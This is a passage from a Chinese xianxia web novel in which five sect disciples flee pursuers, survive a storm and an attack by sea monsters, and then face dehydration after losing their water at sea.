盛祁星一行人刚弃舟登岸到了鸢歌城渡口,还没来得及换乘大船,忽听身后传来了阵阵嘈杂声,江荀一回头看到了一大群清莲袍修士刹那间面如土色:“不好,嫣雨君派人来追我们了!”
确切来说是追苏潋影一个人的,但苏潋影见江荀没理清思路也懒得纠正,瞅准一个方向往过去蹭,虽然脸上依旧从容淡定,却罕见地结巴了起来。
“躲躲躲起来!这边人多!”
江荀对苏潋影那是言听计从,也不知道谁是师兄谁是师妹。
“好,我们赶紧躲起来。”
五个人分散开来,钻胡同的钻胡同、进店铺的进店铺,花焚熠派来的一群弟子从人家眼前晃过去愣是没有发现。
江荀松了一口气,透过眼前竹背篓的空隙看向另一只矮半截的背篓,没办法,长得太高了有时候也挺麻烦的,哪像人家躲进去刚好严严实实的。
“还好没有被发现,我们现在怎么办?”
苏潋影双手举过头顶丢开了罩在身上的伪装:“我们得赶紧离开这里,不然被小师叔抓住就麻烦了。”
江荀摇摇头:“现在整个鸢歌城都是梵净山的弟子,我们恐怕很难抵达码头了。”
苏潋影眼睛咕噜噜一转,小拳头一砸手心,眉开眼笑道:“雇几个人,让他们换上我们的衣服往相反的路线跑,那些外门弟子只见过我们几面而已,分不清的。”
江荀赞赏地点点头:“好,交由我去办。”
江荀按照苏潋影的办法,雇了几个人,让他们换上己方五人的常服往相反的路线跑,梵净山那些外门弟子果然上当了,除了五六个守着码头的,其余尽数朝着相反的方向追去。
江荀看着追兵们远去松了一口气:“这下我们可以放心地走了。”
苏潋影打个响指指向一个方向:“那个伯伯要开船,我们快上去!”
几人穿着普通老百姓的衣服,戴着头巾涂黑了脸,自守在渡口的一众同门师兄弟们眼前过去,对方愣是没发现。
江荀摸了摸苏潋影的头,朝她一笑:“别担心了,等出了渡口我们换上自己的船,一日何止千里,小师叔就是想追也鞭长莫及了。”
说不担心是假的,一直到出了九洲海域,换乘上盛祁星研发的远航船,苏潋影这才松了口气,坐在了干净的甲板上吹着海风,虽然就这么不告而别了不太好,但是一旦跟花焚熠挑明了她就休想出门了,机会难得,以后再负荆请罪好了。
苏潋影毕竟心大,想到这里也就释怀了,一个鲤鱼打挺跳起来去船舱里参观,还好还好,这些房间不是纯狱风的,就跟他们在梵净山上住的屋子差不多,看得出来大师姐也是一个恋家的孩子,努力还原出了山上的一切。
到了傍晚时分,五个人将船舱里的饭菜拿出来摆上了桌,这是前几日偷偷在临江仙客栈里置办好的,足够他们吃上半个月了,但是能带的食物不多,毕竟是出来体验生活的,之后就只能自食其力了,不能坐吃山空。
美美地享用过晚餐之后,几人坐在甲板上吹风,看着一望无际的海面,望着璀璨的星空,兴致勃勃地聊着天。
王天雨吃得肚子圆滚滚仿佛一个孕妇,靠在船舷上仰望星空,一脸憧憬道:“听说海外有个女儿国,里面没有男人,都是貌美如花的姑娘,你说她们见了我们这些男人,会不会抢着要嫁给我们啊?”
盛祁星凑了过去,在王天雨耳边凉飕飕地道:“是吗?可我听我姥姥说,女儿国可邪乎了,里面的女人最是讨厌男子,路过的男人都被她们抓去,割下身上的肉做成香袋子了!”
说着伸手在王天雨堆成层的腰上狠狠拧了一把,胖子又惊又疼身子一弹险些从船上掉下去,抱头缩成了一个球。
“大师姐……你别吓唬我啊……”
盛祁星拍拍他的肩膀:“放心了,有师姐在你怕什么?咱这远航船上可是装了足足两千枚炮弹的,真急眼了给她那弹丸小国犁一遍都够。”
胖子刚松了口气就听江荀期期艾艾道:“那个,大师姐啊,你这远航船貌似也开不到陆地上啊。”
盛祁星倒吸一口凉气:“对哦!”
苏潋影等人忍不住扶额,个个一脸菜色。
对哦个鬼啊!感情你只准备了海战啊,我们登陆之后只能任人宰割了是吧?
盛祁星踢了一下江荀的脚,柳眉倒竖、杏眼圆睁:“你这败家孩子,为什么不早提醒我?”
江荀敢怒不敢言,闷声道:“你也没早问我啊……”
苏潋影眼看着某师姐脸色越来越黑,急忙扯了扯江荀的衣袖,暗暗递眼色。
别杠了哥,淹死会水的打死犟嘴的。
盛祁星到底是见过大风大浪,很快就调整好了心态,站起来振臂高呼鼓舞士气,一脚踩在了船舷上,海风吹拂着她的长发和衣摆飘飘乱舞。
“慌鸡毛啊,不就是几个土著小国嘛!一群拿着石刀石枪哇哇乱叫的野猴子罢了,你们怕猴子吗?”
坐成一排听大师姐演讲的四个人齐齐摇头,大师姐很是满意。
“这就对了,都回去休息吧,睡醒了继续我们的远航!”
第二天苏潋影还在梦中就被人推醒了。
“懒虫快起来,看看海上的落日……啊呸,是旭日!”
能这么客气的也就是盛祁星了,苏潋影被她半拖着从房间里一直拖到甲板上,仍旧处于半昏迷状态,手里还顽固地抓着一角被子,叫苦连天道:“你放过我吧,我认床睡不着,好不容易闭上眼睛啊,还让不让人活了,多新鲜呐,我是没见过太阳吗?”
“那哪能一样啊?你倒是睁眼啊!”
眼皮被人用手撑开了,苏潋影看着一片血红色有些恍然,继而不用盛祁星出力,她主动睁大了双眼,不止是她,所有人都定定地看着远处露出海平面的半边红日,仿佛车轮大小。红彤彤照亮了整个海面,远处那片海水如同打翻了一盒胭脂在里面,瑰丽娇艳,又如同西域的葡萄美酒荡漾着
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醉人的波纹,慢慢地,半边车轮越来越趋向圆形,仿佛天狗吐出了嘴里的月亮,众人静静地看着,忘记了呼吸,直到那旭日倏忽间跳出了海平面他们才觉察自己有些眼花缭乱,眼前闪烁着五颜六色的琉璃碎片,久久不能恢复正常视线。
苏潋影坐在船舷上百无聊赖地梳头发编辫子,王天雨、江荀等人支起一口铁锅准备早点,为做什么粥争得不可开交。
盛祁星却倚在舱门上,一脚踩着船舷,左手拿着一本厚厚的小册子搁在腿面上,右手执笔眺望远方,出神地凝望一会儿海面,又低头写一会儿。
苏潋影好奇地看着她:“不是吧师姐,我们还要写历练日记吗?”
“哦,忘了把历练手札发给你们了,来来来,人手一本,每天都要写一篇,不能少于五百字,历练结束后交给我。”
说着从芥子袋里掏出一沓砖头那么厚的蓝皮线装册子,发到谁手里谁当场石化。
王天雨先哭出来了:“啊……为什么还有这项任务啊……”
苏潋影挑眉,抱着怀里的历练手札,试探性地问道:“师姐,如果发生了不可抗力,如海啸、爆炸、龙卷风、泥石流,这手札不幸损坏了——”
盛祁星朝她露出了一个了然于胸的笑容,真不愧是小师妹啊,尽想着怎么偷奸耍滑、投机取巧了,毫不客气掐灭她最后的幻想。
“没关系,本子师姐这里有的是,损坏了不要紧,重新写就是了,只要小师妹不怕麻烦。”
苏潋影呜呼哀哉。
江荀倒是没说什么,唐书戏和王天雨两人一脸苦大仇深地看着那手札,写是不可能写的,起码现在不会写,回头就扔进船舱的杂物箱里了。
苏潋影无聊地翻着那册子,嘟嘟囔囔地发牢骚:“有什么可写的,左右不过是今天吃了什么、干了什么,况且大家谁会认真去写啊,”看向旁边的江荀,“你会认真写吗?”
江荀连忙摇摇头,坚定地站在小师妹一边:“不会!”
苏潋影又看向唐书戏:“你会认真写吗?”
唐书戏不屑冷笑,往锅里抓了把盐,气得旁边的江荀险些捏碎了锅勺,连忙将那陀快融进锅里的盐?了出去。
唐书戏没有注意到江荀的动作,依旧七个不服八个不忿:“我哪会写那玩意儿,当然是等着抄小熊的。”
苏潋影合掌大快:“就是嘛,布置这作业的人简直是个傻冒,纯粹是没事找事,浪费我们的时间!”
江荀偷偷凑了过去,在苏潋影耳边低语道:“没关系,你晚上偷偷给我,我帮你写。”
还有这好事啊!
苏潋影眼睛都亮了,感激地无可无不可,双手握住了江荀的胳膊,语无伦次道:“活菩萨,我真是不知该怎么感谢你才好了,你有啥需要我帮忙的尽管开口啊,我一定不遗余力!”
江荀红着脸低下了头,看着苏潋影白玉兰似的一双柔荑,声如蚊蚋:“小事,小事,师妹不必客气。”
唐书戏早就注意到了这边的情况,大步跨到了两人身边,左右看看:“说什么呢你们?你为什么谢他?你帮她做什么了?”
69. 风雨同舟
苏潋影干咳一声,故作镇定地继续编辫子,目光瞟向淡金色的波光粼粼的海面。
“没啥,他,他答应帮我洗衣服了!”
唐书戏义愤填膺地瞪着江荀:“好你个吃里扒外的,怎么不见你帮我洗啊?”
江荀心虚地别过脸去,苏潋影将扎好的辫子甩到身后,笑嘻嘻道:“唐师兄,不是小熊不愿意帮你洗,实在是……”
唐书戏紧紧盯着她,等着下文,就在这时候盛祁星招呼一声:“吃饭了!”
大家都凑到了热气腾腾的铁锅旁边,苏潋影这才松了一口气,指着锅里问道:“这是什么啊?”
盛祁星嗤笑一声:“你还真是五谷不分、四体不勤,”抬头看向江荀抛出了同样的问题,“小熊师弟,你煮的这一锅,又是虾又是蘑菇丁玉米粒的,究竟是什么东东啊?”
什么东东,我还西西呢,不行,不能叫西西,容易引起误会……江荀深呼一口气,依旧面带温和笑容道:“大师姐,这道菜呢是我家乡那边的特色,名叫虾仁什锦粥,各位尝尝是否合你们胃口。”
苏潋影已经偷摸给江荀舀了一碗,后者双手捧着那只小碗仿佛捧着稀世之宝,光看着也不喝,也可能是某人忘了给他递勺子了。
众人纷纷动手舀粥,齐齐吹去瓷勺里的热气尝了一口……
苏潋影先喷了,小脸皱成了抹布:“我去……江师兄,你打死卖盐的了?”
其他人也是个个面容扭曲,争先恐后去船舱里找水漱口。
江荀面露疑色,嘴里念叨着“怎么会”也是尝了一口,简直是走五官通七窍,海鲜都得咸脱水了。
到了酉时,海上忽然刮来一阵飓风,吹得桅杆倾斜、帆布左右摇晃,海水仿佛被一只大手搅动着,远处一面水墙被飓风推了过来,远看也就八九尺,临近了却是十几丈高,船上人除了盛祁星个个被晃得头晕目眩、呕吐不止,盛祁星大喝一声:“都抓紧了!”
她纵身一跳来到船头掌舵,抓住轮盘极力打到最左边,整个船只几乎向左边倾倒过去,船员们个个呜呼哀哉,几乎都被倒下船去,王天雨更是半截身子都悬在船舷外面,一只手死死抓着唐书戏的脚脖子,气得对方脸红脖子粗,咬牙切齿直骂娘。
“胖子!你要把我大腿拽下来吗!”
盛祁星无暇他顾,操纵着轮盘忽左忽右穿梭在惊涛骇浪之间,实在躲不开的就火力全开撞过去,那条船在她手里仿佛一条翻江搅海、纵横宇宙的苍龙。
等飓风过去,船长松开了湿漉漉的轮盘,双手不受控制地发着抖,虎口迸裂,血水顺着指缝往下流,回头看看自己的船员们,东倒西歪仿佛一船死鱼。
“喂!都没事吧?倒是支个声啊?”
飓风过后,天已经黑透了,不见星月,远处天空的闪电宛如霹雳银龙,雷声滚滚,倾盆大雨即将到来。
盛祁星跳下操纵台来到众人身边,船舱里积了到靴帮那么高的水,再不清理这船恐怕要沉了。
“再不起来我挨个往下扔了啊?”
一听这话个个忍着眩晕爬了起来。
盛祁星开始分配工作:“胖子、小熊拿东西往外面舀水,唐书戏去检查一下船只的受损情况,小苏苏跟我去开遮雨帆。”
大家各自领命去忙活,苏潋影跟着盛祁星来到中舱,看着散布在船舱各个角落的机关,都是带有轮盘的手闸,轮盘上刻着十天干,手闸可以推向任意一个方向,此时都停留在中心位置。
苏潋影疑惑道:“给我派点别的活呗,这事儿你一个人不就行了?”
盛祁星没有理她,指着一个手闸:“把这个调到癸上。”
苏潋影这才看到她手上全是血水,虎口处的伤被海水浸泡了不知道多久,都开始流脓了。
“那个,要不先让胖子给你包扎一下?”
“包扎个茄子!快点干活,等着一会儿在船里游泳吗?”
“哦哦哦,对对对!”
苏潋影连忙按照她的指示,将那个手闸推到了刻着癸字的位置。
盛祁星又指挥着苏潋影调整了几个手闸,调到最后一个她转身跑上了楼梯。
“弄好了你就出来吧,我去看看上面的情况!”
“好嘞!”
苏潋影抱着双臂看着被自己调整好的所有机关,悠闲地在中舱踱步,看着这些精密的仪器轻轻啧了一声。
不愧是梵净山的大师姐啊,临危不乱、指挥若定,四阶醉殇期就能独当一面,带一众饭桶出海远游,当然除了我啊,假以时日让你成长起来那还得了?我圣教复兴大业不容差池,今天让你死这儿也算是船棺厚葬了。
她走出去的时候随手又调了几个轮盘上的手闸,轻轻偏离了一丝角度而已,不过对于这艘精密的远航船来说足以致命。
唐书戏正在跟盛祁星汇报情况,经历了一场飓风船只却没有多大损失,而胖子和江荀已经将积水处理干净了,等苏潋影出来之后就看到整个船舱上方升起了一层透明的帆布,大概有五张纸叠一块那么厚,船只仿佛被一只巨大的气泡包裹了起来,十几盏琉璃灯照亮了前行的方向。
盛祁星坐在船头掌握航向,嘴里咬着一截绷带包扎手上的伤口,苏潋影连忙凑了过去拿下了她叼着的绷带。
“大师姐我来帮你。”
盛祁星也不推辞,大大方方将两只手都递过去。
苏潋影包扎完毕后,一只裹着绷带的手轻轻在她肩头拍了一下,那声音坚定而充满自信:“别担心,区区一点小风小浪罢了,不足挂齿,有我在没意外!”
哟,还挺自信啊,那就让咱们拭目以待。
苏潋影瞪大了眼睛仰望着她,连连鼓掌:“船长威武!有船长在我们七四幺号一定能乘风破浪、创造辉煌啊!”
盛祁星听了这话哈哈大笑,笑出了一股欲与天公试比高的王霸之气。
噼里啪啦——豆大的雨点砸在了头顶的帆布上,如珍珠乱溅,很快一道道细流顺着帆布往下流,仿佛千万道自船顶垂下的细线,不一会儿暴雨越下越大,偶尔会吹来一阵狂风,盛祁星牢牢把着总舵、始终与风向保持着一个微妙的角度,使船不至于被风吹到打横。
头顶的雨网越织越密,仿佛一层水帘,雷声、雨声、风声在耳边交响,每一道闪电打下来时似乎都要将船只劈碎,虽然没有一丝风雨渗透进来,但还是让人胆战心惊,祈祷这场暴风雨能快点过去。
正在这时,幽深的海水里一双双散发着绿光的眼睛正在凝视着头顶波浪滔天的水面,以及从它们头顶漂过去的一只庞然大物,明亮的灯光让它们不舒服地闭上了眼睛,不过还是贪婪地注视着那个东西,等它完全驶过它们的头顶渐渐远去时,它们心照不宣地蹬开健壮有力的后肢,同样发达的带着鱼蹼的前肢毫不费力地拨开水,如同一群密密麻麻的鱼,以奇快的速度跟上了船只,海底被它们快速游
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动节奏搅浑的海水很久才恢复平静,可以隐约看到淤泥里白森森一片、堆成小山那么高的人骨。
一只奇长无比的蓝绿色布满细鳞的手抓住了船尾的一只琉璃灯,坚硬粗壮的黑色指甲仿佛五把铁钩,尖端向里弯折下去,它想抓着琉璃灯爬上船,不过一不小心将那个琉璃灯捏成了碎片,在掉下去之前它灵敏地抓住了船舷,将硬木抓出来了五道深沟。
其余的怪手也摸到了船舷,它们尖锐的指甲在那层包裹着猎物的薄膜上沙沙地抠挠着,那层薄膜看着就像鱼皮一样脆弱,它们却怎么也撕不破,这让它们十分恼怒,看着美味的点心在船舱里昏昏欲睡,它们张着黑红色的大嘴,腥臭的口水顺着嘴角一滴滴打在了帆布上。
很快,某一只怪物的手摸来摸去,发现自己的指甲可以从一个缝隙里探进去,即使只能探入一点点,这也让它极其兴奋,因为指爪可以感觉到船舱里舒适的温度,而且有了这个缝隙,它就能撕开整个保护罩。
王天雨正靠在舱门边上昏昏欲睡,模糊的视野里大师姐还坐在船头的驾驶位置,外面的风雨似乎小了一些,其他人都被盛祁星赶去睡觉了,不过胖子不太放心大师姐一个人守夜,坚决表示要陪师姐一起,不过上下眼皮不给面子,非要拉窗帘。
胖子点头如捣蒜,快要昏迷过去的时候,一阵咸腥冰冷的海风吹进了他脖领里,吹得胖子一哆嗦,不过没当回事儿,缩了缩脖子继续打瞌睡,隐约觉得有些不对劲但也说不上来。
直到整个脚脖子仿佛被一只铁钳猛然箍住,五根钉子齐齐往肉里头钻去,那滋味简直比被狗咬了还遭罪,王天雨一个鲤鱼打挺差点飞起来,瞪大眼睛看到了一张蓝绿色的山羊脸……对方也在直勾勾看着他,黑红色的嘴唇裂开露出来四排细密的牙齿。
“我的娘嘞!”
胖子腿一软差点尿了,与此同时船身剧震,一只只山羊形状的怪物撕破遮雨帆跳上了船舱,个个足有两丈高,虎背狼腰山羊头、猿掌鹰爪鳄鱼尾,却像人一样直立行走,浑身都是蓝绿色的蛇鳞,私密部位长满了杂草般的火红色毛发。
这么大的动静自然惊醒了船舱里睡觉的人,江荀一出来又连忙退后几步捂住了身后苏潋影的眼睛,唐书戏一闪身出来也是直呼晦气。
“真他娘的有伤风化!”
说时迟那时快,盛祁星一剑砍断了那只抓住王天雨脚腕的怪物的爪子,王天雨连滚带爬躲到了她身后,众人连忙跟那些怪物拉开距离。
这些东西还在源源不断地往船舱里跳,眼见船只吃水越来越重,如果船帮被彻底压到海平面就死定了。
眨眼间盛祁星已经跟跳上船的怪物们过了好几招,发现它们的身体十分坚硬,剑刺过去仿佛撞到了一堵墙,上船后移动速度不似海里快,不过数量越来越多了。
看见苏潋影亮出了鞭子急忙喊道:“用剑!”
苏潋影当即反应了过来,这些怪物力气太大了,一旦抓住她的鞭子就容易将她整个人甩进海里去,随即召出了两把弯刀冲进了怪物堆里,虽然砍不死它们但也能牵制一阵子。
其他人也各自亮出兵刃跟怪物们缠斗起来。
那些怪物被刀剑划伤了一层表皮,虽然无伤大雅却激怒了它们,嘴里的黏液因为嘶吼狂叫甩得满船都是,腥臭无比,尖锐的指尖一旦抓到人身上就是血淋淋一道深沟。
船身又重重往下陷了一下,距离海平面已经只有三寸。
70. 淡水危机
盛祁星一侧身避开了横扑过来的一只怪物,闪身避退间被一束琉璃灯的光芒刺得眨了一下眼,然后她发现眼前的怪物似乎也同时被一道白光刺得闭上了眼睛……那是她手中剑刃反射到了琉璃灯的光芒。
当即纵身一跳到了中舱入口处,提丹田气喝令道:“唐书戏!拿明光符给它们开开眼!胖子去开船,把海里那群东西给我甩开了!小熊守住舱门!苏苏保护胖子!”
所有人齐齐应了一声,胖子一个飞扑抓住了总舵,用力往后一推,整个船上的人和怪物差点都被甩飞了出去,上舱里的一只只木桶和箱子都被甩了出来,又被狂躁的怪物们踩成了碎片。
这么快的行驶速度,人在船上根本站不稳,怪物们却能将尖锐的指甲嵌进甲板里,若不是被铺天盖地的明光符闪瞎了眼,船上这群人早就被它们撕成碎片了。
就在这时,一阵阵惊雷般的轰隆声在身后的海域里炸响了,巨大的水花冲上半空中又哗啦啦地落下,一声接着一声,船只剧烈地抖动起来,被甩出船舱的物品都被掀进了海里,吓得船上的怪物们都蜷缩成了一团,远远看着水花四溅、夹杂着各种块状物,直到血淋淋的蓝绿色头颅、四肢、肉块、还有半死不活的鱼鳖虾蟹被炸上船舱里,众人才明白忽然消失的盛祁星去做什么了。
趁其病要其命,江荀、苏潋影两人不约而同绕到了怪物们身后,剑刃刀尖照着它们的颅顶就捅了进去,跟它们纠缠了这么久终于算是找到了其弱点,这些家伙常年在水里游动,全身都是硬邦邦的肌肉和鳞甲,但脑袋缺少锻炼,扛不住刀剑,纷纷惨叫一声倒地抽搐,其余怪物眼见同伴越来越少,纷纷向船舷处聚拢,其中一个瘦小的率先跳入了海里,有带头的其他怪物自然也惜命,争先恐后往海里跳,扑通扑通仿佛正月十五下汤圆。
其实也是麻秆打狼两头害怕,若是这些怪物再群起而攻之,苏潋影他们也支撑不了多久了,此时见危机解除个个仿佛卸了力,膝盖一软跪倒在甲板上,跟满船的碎尸块躺在一起,仰面朝天大口喘着气,不知何时雨已经停了。
盛祁星扶着舱门从里面爬了出来,有气无力地喊了一声“胖子停下!”随即哇一声吐了一地,倒下成了一条死鱼。
王天雨开船几乎开疯了,听到熟悉而亲切的声音这才如梦初醒,一回头“哎呦”一声,连滚带爬去扶晕倒在楼梯口的大师姐,又是顺后背又是掐人中,盛祁星这才慢慢转醒,挥挥手示意自己无碍,靠在船舷上有气无力地指挥胖子:“把船上的垃圾清理一下,检查一下我们的物资还有多少……”
“哦哦哦!”胖子连忙七手八脚将船舱里的怪物尸体抱起来往海里抛去,其他人缓过来也去帮忙。
盛祁星坐在甲板上看着自己脚边一只怪物的爪子,那黑色的指甲尖慢慢往外面渗出液体来,在甲板上洇染出了一团黑色的水渍,盛祁星的脑袋嗡了一下,连忙喊道:“胖子别动,看看你脚腕的伤!”
这一声吓到了所有人,大家立刻聚集到了王天雨身边,王天雨愣愣地坐了下来,而盛祁星也强撑着走了过来,半跪在他脚边,手指有些颤抖地掀开了胖子的裤腿,那五个深可见骨的血红色深洞还在咕嘟嘟往外面冒血。
众人刚才都被吓慌了手脚,几乎忘了自己身上还有被怪物抓挠出来的伤口,这会儿才纷纷觉得疼痛难耐。
盛祁星咬了咬唇,抬眸看向苏潋影:“你知道刚才那些是什么东西吗?”
苏潋影凝眉思索了一会儿,忽然眼前一亮:“海夜叉!它们生活在深海里,以人为食,会袭击过往船只。”
盛祁星的脸色越发凝重,看向了不远处那只夜叉的爪子,几乎声如蚊蚋地问道:“有毒吗?”
苏潋影连忙摸出了怀里的《海外经》急急翻了起来,江荀也凑过来帮着看,翻到画着海夜叉的那一页,江荀轻声念了出来:“海夜叉一般不带剧毒,被其撕咬抓伤后不得浸泡海水,否则伤口溃烂化脓,而夜叉王带有剧毒,被其抓挠过后,一个时辰则毒素遍布全身。”
苏潋影又翻一页,江荀的声音陡然凝重起来。
“夜叉王之毒,无解。”
胖子一听此话如丧考妣,抱着自己那只伤脚就嚎开了:“哎呦!我怎么这么倒霉啊!我还没娶媳妇呢,这就要中毒身亡了……”
吵得盛祁星气撞顶梁,一个暴栗敲在胖子脑门上世界才算清静了,胖子委委屈屈捂着脑袋上迅速肿起的大包无语凝噎。
盛祁星瞪向他:“亏你还是个药修,那伤口的血都是红的,你被抓伤多久了?一个半时辰有没有?不还是活蹦乱跳的?”
胖子这才反应过来:“对哦!我没有中毒!嘿嘿嘿……没有中毒就好!”
盛祁星拿剑刃挑着那只夜叉爪子左右端详着,苏潋影又道:“夜叉睚眦必报,尤其这次你炸下夜叉王一只手,恐怕它不会善罢甘休。”
盛祁星点点头,将那只有毒的夜叉爪子丢向胖子,吓得对方一蹦三尺高,迅速拉开距离,唯恐再被误伤。
盛祁星恨铁不成钢,要不是念他如今负伤,高低再得来一顿圈踢,没好气道:“拿着好好研究一下,琢磨不出来解药拿你喂王八!”
“是是是,知道了大师姐……”
胖子委委屈屈从船舱里拿出自己的药囊,小心翼翼将夜叉王的爪子收拾妥当了。
清点一下剩余的物资,惊喜地发现吃的喝的全没了,只剩下一堆衣服被子和半袋子小米我真的哭死。
没有吃的好办,海里还可以捞点鱼鳖虾蟹,但是没有淡水就很难搞,不用三天他们就蹦跶不起来了。
盛祁星看着一群脸色极差的船员们,清清嗓子道:“淡定,据我所知人在缺水的情况下可以支撑五六天,咱们是修士嘛,坚持个七八天不成问题。”
苏潋影欲哭无泪:“然后呢?不一样变成海上的脱水肉干嘛。”
盛祁星放下被海夜叉抓破了大半的遮雨帆,帆布铺在船上,上面的水珠全向低凹处汇聚,不一会儿就积攒了盘子那么大一块水洼。
王天雨惊喜地盯着那块明晃晃的小水洼:“我们有水了!有水了!”
盛祁星舔了舔干燥的嘴唇:“小心点收集起来,这几天就靠这点水度日了。”
王天雨连连点头,从船舱里找出来一只竹筒,江荀、唐书戏两人将帆布对折起来向下倾斜,让那滩水慢慢流进竹筒里去,胖子小心翼翼提着对折起来的帆布形成了一个出水口,看着水全部流进了竹筒里这才将
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竹筒盖好放进了船舱里,走到了盛祁星身边汇报工作:“大师姐,只收了半竹筒水。”
盛祁星眺望着远方不知道在想什么,闻言安慰胖子:“有一点就不错了,至少能润润嗓子,你找个地方歇着去吧。”
“哦,知道了大师姐。”
哎,刚才情况紧急让胖子胡乱开了一阵船,航向都偏到姥姥家了,但这情况她现在也不敢跟大家说,否则又没有水又偏离了航向必然军心大乱啊!
接下来的日子只能走一步看一步了。
盛祁星从船舱里找出了一只望远镜,天天就这么坐在船顶眺望远方,希望能找到一块岛屿落脚,但看到的除了海水还是海水,老天爷也是作孽,偏偏一连三四天一滴雨也不下。
竹筒里那点雨水即使省着喝也快要见底了。
盛祁星转着手里那根望远镜,一个人爬上船顶坐在了她旁边,将竹筒递了过来,盛祁星摇了摇头。
唐书戏轻叹一声,依旧举着那只轻得过分的竹筒,真是没想到有一天一口水都需要分着喝了。
“润润喉咙吧,你嘴唇都结好几层血痂了。”
“我……我醉殇期,比你们耐渴。”
唐书戏嗤笑一声,忽然压低声音道:“我们是不是已经偏航了?”
盛祁星面无表情:“胡说八道什么,别瞎操心了。”
唐书戏苦笑一声:“按照正常的航行路线,我们这会儿应该已经到靖人国了,可是现在我连个岛屿的影子都看不见。”
盛祁星把玩着手里的望远镜,垂着脑袋压低了声音,轻轻“唔”了一声,又嘱咐道:“别告诉他们,那几个年纪小容易慌了手脚。”
“知道了。”
唐书戏走之前将水留了下来,盛祁星抱在了怀里但始终没有打开,她隔一会儿就拿望远镜看看四周的情况,不肯错过任何一个角落,每次拿起望远镜的时候都在心底祈祷一番,但始终没有看到岛屿的影子。
那点水即使省着喝也已经没了,倒着都流不出一滴水来,胖子是最先脱水的,躺在船舱里一动不动,脸色发灰,嘴唇白了一圈,嘴里时不时说胡话。
“大师姐……我是不是要死了……”
盛祁星坐在床边握着他的手输送灵力,声音坚定地如同风雨飘摇中钉住船只的那枚锚。
“死个茄子,我们很快就靠岸了,岛屿上有的是水。”
“真的吗……太好了……大师姐,你别管我了,你脸色看着好差啊……”
盛祁星干笑了两声:“你大师姐是谁啊,有的是灵力和修为,胖子你就闭嘴吧,省着点力气,等上岸了师姐给你买酸梅、大西瓜吃。”
胖子外翻的紫灰色嘴唇动了动,想象着那些水分充足的瓜果,喉咙动了动,气若游丝:“谢谢大师姐……可我就想喝水,喝一口也好……”
盛祁星扶着舱门走了出来,眼前一阵金星乱晃,脚下的甲板仿佛漂浮了起来,她一脚险些踩空……唐书戏靠在船舷边拿着她的望远镜观察着海面,江荀因为缺水、晕船趴在船头吐得死去活来,苏潋影倒还好,在旁边照顾着江荀。
盛祁星看着这些师弟师妹,满目戚然。
难道我们真要死在海上了吗?
71. 如星如桅
盛祁星仰头看着万里无云的苍穹,烈日的光芒灼痛了她的眼睛,无力地坐在了船头,整个船上只有她还能保持神智,继续开船、观测海面,其余人因为脱水渐渐出现了幻觉。
一个晚上,盛祁星打了个盹,船猛烈颠簸了一下她差点被晃下台阶,睁眼看见一个黑影跪在船舷边,大半截身子都探出了船外,手里还拿着一只竹筒……
盛祁星瞳孔一缩,几乎是连滚带爬跑了过去,伸手揪住那人的腰带扯了回来,她又气又恨又是心如刀绞,一拳挥过去,那人连连咳嗽,吐出了嘴里的水。
盛祁星盯着他,目眦欲裂,又是一拳打在了那人的下颌处,砰——男人高大的身体倒在了甲板上。
盛祁星蹲在他面前揪住了对方的衣领,提起拳头来却再也下不去手了,压低了声音咒骂他:“你疯了!你他妈的……找死是不是!亏你还是做师兄的,这点耐力都没有,你还配做一个修士吗!”
鼻青脸肿的男人瘫软在甲板上,呈一个“大”字形,他浑身散发着汗液的臭味,胡子拉碴,盯着盛祁星同样憔悴沧桑的脸大笑了几声,扭头吐出了一口带血的唾沫。
“你打死我吧,打死总比被活活渴死要强,你打啊!怎么不打了?”
脱水让他仿佛变了一个人,再也不是那个风趣可靠的伙伴,而是一个自暴自弃的疯子。
“我们他妈的根本就找不到岛屿!等找到的时候或许都已经成干尸了!别再自欺欺人了,望梅止渴有什么用,改变不了我们会死在这艘船上的事实!”
潜藏在盛祁星内心深处的恐惧被他这么喊了出来,她费尽心思筑牢的精神堡垒在瞬间山摇地动。
是啊,哪有那么多奇迹出现?从古至今,在海上迷失方向的人都是九死一生,他们能活下去的希望只有头发丝那些渺小的一点。
盛祁星在地上呆坐了许久,想了许多许多,爬了两次才爬起来,走进船舱里摸了半截绳子,将地上死鱼一样的男人拖过来绑在了桅杆上,这才回到船头又坐了下来,仰头靠着船舷,一轮冷月散发着皎洁的光芒,玉盘外面套着一个银色的光圈。
她似乎想起了什么,从怀里摸出那本手札,翻到新的空白页,拔下头上的笔簪沙沙地写了起来。
[丁丑月庚子日
我们已经缺水八天了,胖子会接连昏迷好几个时辰,我趁别人不注意会悄悄试他的鼻息,感受到他还有呼吸心里的石头才落地,胖子又撑过了一天,真是好样的。
除了我和小苏苏,其他人都出现了幻觉,会忍不住想去喝海水,我不敢睡死过去,要紧紧盯着他们。
小师妹是最让我省心的,或许是因为她身上那一半魔族血统的缘故,她还没有出现幻觉,但身体也已经很虚弱了。
或许我们这支历练队伍最终都会死去,无一回还,但我不后悔自己所做的一切,不后悔出海远航。
如果有人发现了这本手札,请你将我们的骨灰送到九洲大陆沁莲郡梵净山,我们都是梵净山的弟子,将这本手札送到匡月手里,我是他的徒弟。]
黎明时分,盛祁星被寒冷的海风吹醒,海上有一层凉薄的雾,她吞咽了一下,喉咙仿佛火烧刀扎一般,不小心吸入了一口冷空气呛得直咳嗽,几乎直不起腰来,现在咳嗽起来简直要人命,感觉跟生吞下一把钢针没什么区别,喉咙刀砍斧凿般痛,硬生生疼出了泪花,她低头抹了一把嘴角的血丝,走过去将桅杆上的人解了开来,那人昏睡了过去暂时不用绑着。
走进船舱里又给胖子输入了一点灵力,手指轻颤试探了一下他的鼻息……刚要抬手去握住江荀的手,靠在床头的苏潋影醒了过来,冲她摇摇头。
“我来,两个人你撑不住的。”
盛祁星现在说话都费力,眼眶深陷了下去:“你修为也不高,还是我来吧,你照顾好自己就是帮我了。”
苏潋影还是摇头:“我心里有数,”她微微一笑注视着盛祁星的眼睛,“船长,你现在是我们的桅杆,只要你不倒下,这一船的人都不会倒下,照顾好自己。”
盛祁星愣了半晌没有说什么,拍拍苏潋影的肩膀缓步走出了船舱。
苏潋影像往常一样握住了江荀的手给他输送灵力。
盛祁星依旧坐在船头,今天是顺风用不着掌舵,但也不知还要在海上漂流多久,几天还是几十天?他们还能撑多久呢?每个人都已经到极限了啊。
盛祁星垂落在甲板上的手触到了冰凉的一根金属管状物,看不看也没什么差别了,再怎么观察也不会有岛屿出现的,很可能他们现在已经完全远离陆地了,行驶的方向完全就是错误的,越走越是南辕北辙,可也只能这样了,不能再调转方向往回走了。
